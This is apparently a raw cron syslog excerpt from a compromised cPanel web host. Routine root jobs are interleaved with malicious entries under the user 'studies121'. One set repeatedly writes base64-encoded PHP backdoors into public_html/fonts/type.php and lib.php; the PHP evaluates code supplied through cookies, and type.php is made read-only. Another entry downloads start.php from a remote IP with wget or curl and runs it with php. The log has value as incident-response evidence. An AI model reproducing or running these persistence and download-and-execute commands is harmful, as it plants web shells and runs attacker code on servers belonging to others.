Sep  7 07:48:01 ip-184-168-122-23 CROND[19721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:48:01 ip-184-168-122-23 CROND[19723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:49:01 ip-184-168-122-23 CROND[19824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:49:01 ip-184-168-122-23 CROND[19825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:49:01 ip-184-168-122-23 CROND[19828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:49:01 ip-184-168-122-23 CROND[19826]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 07:49:01 ip-184-168-122-23 CROND[19827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:50:01 ip-184-168-122-23 CROND[19999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:50:01 ip-184-168-122-23 CROND[20001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:50:01 ip-184-168-122-23 CROND[20004]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:50:01 ip-184-168-122-23 CROND[20006]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:50:01 ip-184-168-122-23 CROND[20011]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 07:50:01 ip-184-168-122-23 CROND[20012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:50:01 ip-184-168-122-23 CROND[20007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:50:01 ip-184-168-122-23 CROND[20014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:50:01 ip-184-168-122-23 CROND[20009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:51:01 ip-184-168-122-23 CROND[20150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:51:01 ip-184-168-122-23 CROND[20152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:51:01 ip-184-168-122-23 CROND[20151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:51:01 ip-184-168-122-23 CROND[20153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:52:02 ip-184-168-122-23 CROND[20273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:52:02 ip-184-168-122-23 CROND[20272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:52:02 ip-184-168-122-23 CROND[20275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:52:02 ip-184-168-122-23 CROND[20274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:52:02 ip-184-168-122-23 CROND[20276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:53:02 ip-184-168-122-23 CROND[20479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:53:02 ip-184-168-122-23 CROND[20480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:53:02 ip-184-168-122-23 CROND[20483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:53:02 ip-184-168-122-23 CROND[20482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:54:01 ip-184-168-122-23 CROND[20585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:54:01 ip-184-168-122-23 CROND[20587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:54:01 ip-184-168-122-23 CROND[20586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:54:01 ip-184-168-122-23 CROND[20588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:54:01 ip-184-168-122-23 CROND[20589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:55:01 ip-184-168-122-23 CROND[20709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:55:01 ip-184-168-122-23 CROND[20713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:55:01 ip-184-168-122-23 CROND[20710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:55:01 ip-184-168-122-23 CROND[20712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:55:01 ip-184-168-122-23 CROND[20715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:55:01 ip-184-168-122-23 CROND[20714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:56:02 ip-184-168-122-23 CROND[20815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:56:02 ip-184-168-122-23 CROND[20817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:56:02 ip-184-168-122-23 CROND[20818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:56:02 ip-184-168-122-23 CROND[20819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:56:02 ip-184-168-122-23 CROND[20820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:57:01 ip-184-168-122-23 CROND[20936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:57:01 ip-184-168-122-23 CROND[20938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:57:01 ip-184-168-122-23 CROND[20939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:57:01 ip-184-168-122-23 CROND[20940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:58:01 ip-184-168-122-23 CROND[21160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:58:01 ip-184-168-122-23 CROND[21164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:58:01 ip-184-168-122-23 CROND[21162]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:58:01 ip-184-168-122-23 CROND[21163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:58:01 ip-184-168-122-23 CROND[21165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:59:02 ip-184-168-122-23 CROND[21279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:59:02 ip-184-168-122-23 CROND[21282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:59:02 ip-184-168-122-23 CROND[21281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:59:02 ip-184-168-122-23 CROND[21283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:00:01 ip-184-168-122-23 CROND[21410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:00:01 ip-184-168-122-23 CROND[21412]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 08:00:01 ip-184-168-122-23 CROND[21415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:00:01 ip-184-168-122-23 CROND[21413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:00:01 ip-184-168-122-23 CROND[21416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:00:01 ip-184-168-122-23 CROND[21414]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:00:01 ip-184-168-122-23 CROND[21421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:00:01 ip-184-168-122-23 CROND[21423]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
